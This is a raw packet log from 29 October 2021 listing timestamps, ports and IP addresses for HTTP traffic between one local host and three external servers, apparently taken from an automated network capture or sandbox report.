Oct 29, 2021 20:30:02.585776091 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585779905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585809946 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585838079 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585867882 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585879087 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585886002 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.585896969 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585926056 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585953951 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585983992 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.585997105 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586004972 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586014032 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586044073 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586072922 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586101055 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586112022 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586121082 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586131096 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586158991 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586190939 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586220026 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586221933 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586227894 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586247921 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586277008 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586285114 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586303949 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586333036 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586361885 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586389065 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586410046 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586416960 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586417913 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586446047 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586474895 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586493969 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586499929 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586503983 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586532116 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586560011 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586587906 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586615086 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586621046 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586627007 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586643934 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586672068 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586699963 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586730003 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586750031 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586755991 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586756945 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586786985 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.586836100 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.586843014 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.594077110 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.594126940 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.594149113 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.594197035 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.594376087 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.594472885 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.606082916 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.613456011 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.624939919 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.624993086 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625014067 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625036955 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625060081 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625080109 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625103951 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625123978 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625137091 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.625148058 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625159025 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.625170946 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625191927 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625210047 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.625214100 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.625214100 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625236034 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625257015 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625277042 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625291109 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.625296116 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.625298977 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625320911 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625343084 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625365019 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625387907 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.625389099 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625392914 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.625410080 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625432968 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625454903 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625475883 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625488043 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.625492096 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.625499010 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625520945 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625552893 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625570059 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.625576019 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.625576019 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.625689983 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.625715017 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.625766993 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.625776052 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.625792027 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.625813007 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.625818014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.625839949 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.625889063 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.626574993 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.627795935 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.627815008 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.627836943 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.627847910 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.627859116 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.627871990 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.627890110 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.627928019 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.627947092 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.627958059 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.627974987 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.628010988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.628036976 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628041983 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.628062963 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628089905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628114939 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628139019 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628164053 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628164053 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628180027 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628190994 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628225088 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628237009 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628253937 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628267050 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628271103 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628279924 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628314018 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628321886 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628326893 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628343105 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628360033 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628386974 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628396988 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628400087 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628412008 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628432989 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628458023 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628484011 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628506899 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628509045 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628509998 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628534079 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628561974 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628586054 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628596067 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628599882 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628611088 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628634930 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628659010 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628673077 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628675938 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628684998 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628710032 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628734112 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628758907 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628782988 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628788948 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628793955 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628808022 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628832102 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628875017 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628900051 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628900051 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628906012 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.628925085 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628950119 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628974915 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.628999949 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629002094 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629005909 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629024982 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629048109 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629072905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629096985 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629098892 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629102945 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629121065 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629146099 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629170895 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629174948 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629194975 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629220963 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629242897 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629244089 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629247904 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629267931 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629291058 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629314899 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629348040 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629358053 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629369020 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629374027 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629399061 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629425049 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629446983 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629447937 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629451036 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629473925 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629498959 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629523993 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629548073 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629549026 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629551888 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629575014 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629600048 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629601002 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629602909 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629626989 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629651070 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629676104 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629684925 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629702091 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629703045 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629707098 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629726887 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629751921 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629776955 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629802942 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629803896 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629807949 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629828930 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629853964 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629878044 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629901886 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629905939 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629909039 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.629928112 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629952908 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.629975080 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630000114 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630009890 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630024910 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630049944 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630058050 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630062103 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630074978 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630099058 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630124092 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630145073 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630150080 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630173922 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630198956 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630199909 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630202055 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630225897 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630249977 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630275011 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630300045 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630304098 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630307913 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630325079 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630348921 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630373955 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630386114 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630398989 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630425930 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630450010 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630450964 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630455017 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630474091 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630500078 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630522966 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630548000 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630552053 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630556107 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630573988 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630599022 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630639076 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630662918 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630666018 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630670071 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630688906 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630712986 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630734921 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:02.630755901 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630762100 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.630899906 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:02.640825033 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.640870094 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.640892029 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.640913010 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.640934944 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.640955925 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.640975952 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.641051054 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.641072989 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.641093969 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.641113043 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.641114950 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.641136885 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.641160011 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.641180992 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.641196012 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.661792994 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.661823988 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.661845922 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.661868095 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.661889076 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.661897898 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.661910057 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.661931038 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.661947012 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.661951065 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.661972046 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.661989927 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.662031889 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:02.662050962 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:02.668572903 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.673038960 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.673063993 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.673146963 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:02.692559958 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692591906 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692600965 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692610979 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692627907 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:02.692647934 CEST	80	49859	45.141.84.21	192.168.2.3
